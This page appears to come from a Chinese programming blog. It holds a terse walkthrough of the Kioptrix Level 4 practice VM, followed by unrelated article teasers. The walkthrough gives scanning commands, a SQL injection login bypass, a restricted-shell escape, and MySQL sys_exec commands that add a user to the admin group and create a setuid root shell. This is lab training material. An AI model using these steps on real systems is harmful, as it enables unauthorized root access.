当前位置： 首页 > article >正文

Kioptrix Level 4

article 2026/3/14 15:33:36
Kioptrix Level4注kioptrix level 4下载之后为vmare.vmdk文件需要新建虚拟机时选择使用现有虚拟硬盘后导入.vmdk文件即可1.主机扫描或使用nmap 192.168.68.0/24 -sP2.端口扫描nmap -sV 192.168.68.1323.目录扫描dirb http://192.168.68.132dirsearch -u 192.168.68.1324.访问默认80端口为登陆界面扫描目录发现类似用户名的目录john猜测使用john和万能密码登陆 a or 1 -- a登陆后得到一组账号密码UsernamejohnPassword:MyNameIsJohn猜测尝试ssh登陆5.ssh登陆后用户权限非常低提权shell逃逸管理员为了安全将用户的 Shell 限制为受限模式如 rbash、rksh只能查询echo命令是否能利用echo os.system(/bin/bash)6.收集系统信息cat /etc/*-releaseps -ef |grep root 发现mysql服务切换网站所在默认目录查看是否有关键信息/var/www/目录下文件都是提升MySQL用户root密码为空。下一步登录mysql数据库7.登陆mysql mysql提权查看mysql允许执行命令的函数mysql -urootshow databases;Use members;查询到john及robert用户账号密码use mysqlshow tablesselect * from func;Mysql可利用执行命令提升权限函数sys_exec通过网页查询两个方法提权为rootselect sys_exec(sudo usermod -a -G admin john);select sys_exec(cp /bin/sh /tmp/;chown root:root /tmp/sh;chmod s /tmp/sh);

相关文章：

Kioptrix Level 4

Kioptrix Level 4注：kioptrix level 4下载之后为vmare.vmdk文件，需要新建虚拟机时选择使用现有虚拟硬盘后导入.vmdk文件即可1.主机扫描或使用nmap 192.168.68.0/24 -sP2.端口扫描nmap -sV 192.168.68.1323.目录扫描dirb http://192.168.68.132dirsearch …...

编程日记 2026/3/14 15:33:36

深入浅出文本预处理：NLP 模型训练的基石

在自然语言处理（NLP）领域，文本预处理是连接原始文本数据与模型训练的关键桥梁。它贯穿于数据输入到模型之前的全流程，承担着数据清洗、指导超参数确定、提升模型效果的核心作用。本文将系统梳理文本预处理的核心环节与实现方法&am…...

编程日记 2026/3/14 15:33:35

零基础刷力扣Hot100|Day02 字母异位词

零基础刷力扣Hot100|Day02 字母异位词题目描述示例解题思路解法一：排序法代码详细讲解解法二：计数法代码详细讲解题目描述 给你一个字符串数组，请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 示例 示例 1: 输入: strs [“…...

编程日记 2026/3/14 15:33:34

MSYS2介绍及包管理

一、MSYS2 是什么MSYS2（Minimal SYStem 2）是 一套工具与库的集合，为你提供Windows 平台上的类 Unix 开发环境，用于构建、安装和运行原生 Windows 软件。底层：基于 Cygwin 提供 POSIX 兼容层，运行 bash、mak…...

编程日记 2026/3/14 15:33:32

Flutter 三方库 shader 的鸿蒙化适配指南 - 玩转 Fragment Shader、在鸿蒙端实现影院级视觉特效实战

欢迎加入开源鸿蒙跨平台社区：https://openharmonycrossplatform.csdn.net Flutter 三方库 shader 的鸿蒙化适配指南 - 玩转 Fragment Shader、在鸿蒙端实现影院级视觉特效实战 前言 在追求视觉极致的 Flutter for OpenHarmony 应用开发中，传统的 Widg…...

编程日记 2026/3/14 15:33:28

马斯克炸屏警告：拿到枪的猴子正在收割每一个“养虾人”

3月以来，科技圈最大的热点，不是新手机发布，也不是火箭发射，而是马斯克一条“带刺”的推文，以及那段让人后背发凉的视频。视频里，一只猴子眼神空洞地接过人类递来的枪，无意识地扣动扳机&#xff…...

编程日记 2026/3/14 15:31:28

# OpenClaw - 强大的AI自动化代理平台完全指南

## 一、引言在人工智能技术飞速发展的今天，如何高效地管理和控制AI代理成为了众多开发者和用户关注的焦点。OpenClaw作为一款新一代AI自动化代理工具，凭借其强大的功能和简洁的操作方式，正在成为越来越多用户的首选。本文将详细介绍OpenClaw的…...

编程日记 2026/3/14 15:31:28

青蛙跳台阶解密：C语言实现（26.3.13）

#define _CRT_SECURE_NO_WARNINGS #include<stdio.h>int main() {int n 0;int i 0;int a 1;int b 2;int c 0;printf("请输入台阶数\n");scanf("%d", &n);if (n 1)printf("有一种跳法\n");else if (n 2)printf("有2种跳…...

编程日记 2026/3/14 15:31:28

Flutter 三方库 worker_manager 鸿蒙适配指南 - 实现工业级多线程任务管理与计算性能压榨实战

欢迎加入开源鸿蒙跨平台社区&#xff1a;https://openharmonycrossplatform.csdn.net Flutter 三方库 worker_manager 鸿蒙适配指南 - 实现工业级多线程任务管理与计算性能压榨实战 前言 在鸿蒙&#xff08;OpenHarmony&#xff09;应用开发中&#xff0c;面对复杂的图像处理…...

编程日记 2026/3/14 15:31:28

免费开源+高清无水印！最强录屏神器oCam，大学生和职场人必备效率工具！

前言大家好呀&#xff01;这里是练习时长两年半的个人练习生Rebirth重&#xff0c;今天又来给大家分享实用工具啦&#xff01;今天就不跟大家伙聊虚的了&#xff0c;直接给大家上干货&#xff0c;我要介绍的就是录屏工具Ocam&#xff01;链接&#xff1a;https://pan.quark.cn/…...

编程日记 2026/3/14 15:31:28

天津市优秀的GEO生成式AI引擎优化的公司有哪些

最近和一个做内容电商的朋友聊天&#xff0c;他吐槽说&#xff1a;“花了50万买的生成式AI引擎&#xff0c;本想靠它批量写商品文案、做短视频&#xff0c;结果生成10条有8条要返工&#xff0c;服务器电费比人工工资还高&#xff01;”这不是个例。现在生成式AI火得一塌糊涂&am…...

编程日记 2026/3/14 15:29:27

SNMP（简单网络管理协议）

一、SNMP概述1.1 什么是SNMPSNMP&#xff08;Simple Network Management Protocol&#xff0c;简单网络管理协议&#xff09;是TCP/IP协议簇中的应用层协议&#xff0c;由互联网工程任务组&#xff08;IETF&#xff09;在RFC1157中定义。SNMP是一种用于网络管理的标准协议&…...

编程日记 2026/3/14 15:29:27

多模态AI实战：CLIP模型原理与代码深度剖析

1. 引言&#xff1a;多模态AI与CLIP简介1.1. 什么是CLIP&#xff1f;CLIP 是OpenAI于2021年发布的多模态预训练模型&#xff0c;它通过4亿张图像及其文本描述进行对比学习&#xff0c;将图像和文本映射到同一个特征空间。CLIP的出现彻底改变了计算机视觉领域&#xff0c;它使得…...

编程日记 2026/3/14 15:29:27

微软 GraphRAG从构图到检索的核心逻辑与代码实现

01 — 方法简介 GraphRAG的核心贡献&#xff0c;是构建了一个基于实体关系的图索引&#xff0c;并通过社区划分分层摘要的方式&#xff0c;让大模型能从全局视角回答问题。 也就是说&#xff0c;微软最早提出GraphRAG&#xff0c;目的是解决传统RAG在查询聚焦型摘要&#xff08…...

编程日记 2026/3/14 15:29:27

文献汇总｜AI生成图像检测与溯源相关工作（2026）

前言&#xff1a;本篇博客总结2026年AI生成图像检测与溯源相关工作&#xff08;不定期更新&#xff09;AI-generated image detection algorithm based on classical-quantum hybrid neural network. Science China, 2026. Juncong XU, Han FANG, Yang YANG, Kejiang CHEN, Zha…...

编程日记 2026/3/14 15:29:27

柔性温度传感器--折线型结构

型号B型标称阻值&#xff08;0℃&#xff0c;Ω&#xff09;测量栅区域尺寸(mm)基材尺寸&#xff08;mm&#xff09;镂空尺寸 &#xff08;mm&#xff09;备注结构图形LGWGLMWMLKWKNBF100-75B*L※※NBG100-75B*L※※100757880804040说明&#xff1a;*&#xff1a;引出线根数2&a…...

编程日记 2026/3/14 15:27:26

电赛信号题备赛日记（1）移植正点原子STM32H750 mini pro的TFTLCD屏幕

之所以采用STM32H750的原因是因为电赛信号题要求的ADC采样频率高&#xff0c;且STM32H750的性价比很高&#xff0c;刚好正点原子的H750mini pro开发板的价格低&#xff0c;但首先第一步想要用移植它的LCD屏幕就不同于我之前使用的正点原子STM32F4开发板&#xff0c;且正点原子H…...

编程日记 2026/3/14 15:27:26

第三章 第一性原理：从零到一的完整思考方法论

第三章 第一性原理：从零到一的完整思考方法论 一、开篇：为什么你懂了原理，还是不会用 前两章讲了第一性原理的哲学源头和底层结构。很多读者反馈：道理明白了，但面对真实问题时，还是不知道怎么下手。 这是正常的。从"知道"到"做到"，中间隔着方法论…...

编程日记 2026/3/14 15:27:26

**WebTransport：下一代低延迟实时通信协议的实战解析与代码实现**

WebTransport&#xff1a;下一代低延迟实时通信协议的实战解析与代码实现 在现代 Web 应用中&#xff0c;高吞吐、低延迟、双向数据传输能力已成为构建高性能服务的核心诉求。传统的 HTTP/2 和 WebSocket 虽然满足基础需求&#xff0c;但在复杂场景下&#xff08;如实时音视频流…...

编程日记 2026/3/14 15:27:26

Flutter 三方库 nanoid_plus 鸿蒙适配指南 - 实现安全高性能分布式唯一标识生成、在 OpenHarmony 上打造无冲突业务 ID 防线实战

欢迎加入开源鸿蒙跨平台社区&#xff1a;https://openharmonycrossplatform.csdn.net Flutter 三方库 nanoid_plus 鸿蒙适配指南 - 实现安全高性能分布式唯一标识生成、在 OpenHarmony 上打造无冲突业务 ID 防线实战 前言 在参与构建鸿蒙&#xff08;OpenHarmony&#xff09…...

编程日记 2026/3/14 15:27:26

记一次完整的MongoDB环境配置实录

写在前面 最近项目中需要用到MongoDB&#xff0c;本以为是个简单的安装配置&#xff0c;没想到一路踩坑不断&#xff0c;从下载MongoDB到最终在MCP&#xff08;Model Context Protocol&#xff09;中正常使用&#xff0c;整整折腾了一天。为了不让后来者重蹈覆辙&#xff0c;特…...

编程日记 2026/3/14 15:25:26

P15755 [JAG 2025 Summer Camp #1] JAG Box

传送门 题目描述 JAG Box 是一种目前在全世界流行的普通长方体盒子。共有 NNN 个 JAG Box。对于每个 i1,2,…,Ni 1, 2, \ldots, Ni1,2,…,N&#xff0c;第 iii 个盒子有一个整数重量 AiA_iAi​。 你将通过重复选择一个剩余的盒子并将其插入当前堆叠的最底部来建造一个垂直堆…...

编程日记 2026/3/14 15:25:26

投流跑不动、ROI上不去？别只怪出价，90%的问题都出在素材上

投流越投越亏&#xff1f;出价拉满、定向精准&#xff0c;却依然冷启动失败、转化惨淡&#xff1f;别再内耗投放技巧了——90%的投流困境&#xff0c;根源都在素材&#xff01;对投流而言&#xff0c;素材才是核心引擎&#xff0c;出价、定向只是辅助。平台算法核心看点击率、完…...

编程日记 2026/3/14 15:25:26

Spring AI 基础使用与介绍

一、Spring AI 是什么 Spring AI 是 Spring 官方推出的 AI 应用开发框架&#xff0c;用于简化 Java 后端对接大模型 API 的开发流程。 核心作用&#xff1a;统一对接各种大模型&#xff08;豆包、通义千问、文心一言、GPT 等&#xff09;简化 AI 接口调用代码支持 RAG 知识库、…...

编程日记 2026/3/14 15:25:25

三个月燕窝口服液裂变2000万背后的商业逻辑

大家好&#xff0c;我是银子&#xff0c;一家互联网公司的负责人最近&#xff0c;一个“三个月私域做到2000万营业额”的燕窝口服液案例在圈内引发热议。有人说它是神来之笔&#xff0c;也有人说它是割韭菜的套路。抛开争议&#xff0c;今天我们以商家和企业运营者的视角&#…...

编程日记 2026/3/14 15:25:25

CSDN Markdown 微笑与 section 符号

CSDN Markdown 微笑与 section 符号References:)&#x1f603; (P) (p) References [1] Yongqiang Cheng (程永强), https://yongqiang.blog.csdn.net/...

编程日记 2026/3/14 15:23:24

CSDN Markdown 商标标志 C、TM 和 R

CSDN Markdown 商标标志 C、TM 和 R1. 版权标记 / 版权符号 (copyright symbol or copyright sign)2. 商标标志 C、TM 和 RReferences1. 版权标记 / 版权符号 (copyright symbol or copyright sign) The copyright symbol, or copyright sign, © (a circled capital lett…...

编程日记 2026/3/14 15:23:24

mybatis根据日期范围查询，多参数查询

一、根据日期范围查询 如果数据库里的日期字段属性是date或者是datetime对应maper.xml&#xff1a;其中<![CDATA[ ]]>&#xff1a;这是XML语法。在CDATA内部的所有内容都会被解析器忽略。如果文本包含了很多的"<“字符 <和”&"字符&#xff0c;那么…...

编程日记 2026/3/14 15:23:24

基于LLM的电商分析系统设计

基于LLM的电商分析系统设计 关键词&#xff1a;大语言模型&#xff08;LLM&#xff09;、电商分析系统、数据挖掘、自然语言处理、机器学习 摘要&#xff1a;本文围绕基于大语言模型&#xff08;LLM&#xff09;的电商分析系统展开设计与探讨。首先介绍了系统开发的背景、目的、…...

编程日记 2026/3/14 15:23:24

2026 年，企业级 AI Agent 的成熟元年

过去两年&#xff0c;大语言模型的爆发让机器真正学会了 “说话”—— 它们能吟诗作对、答疑解惑&#xff0c;甚至模拟角色对话。但对话终究只是交互的起点&#xff0c;2026 年&#xff0c;我们正站在一个更重要的转折点上&#xff1a;AI Agent 的成熟&#xff0c;让机器从 “会…...

编程日记 2026/3/14 15:23:23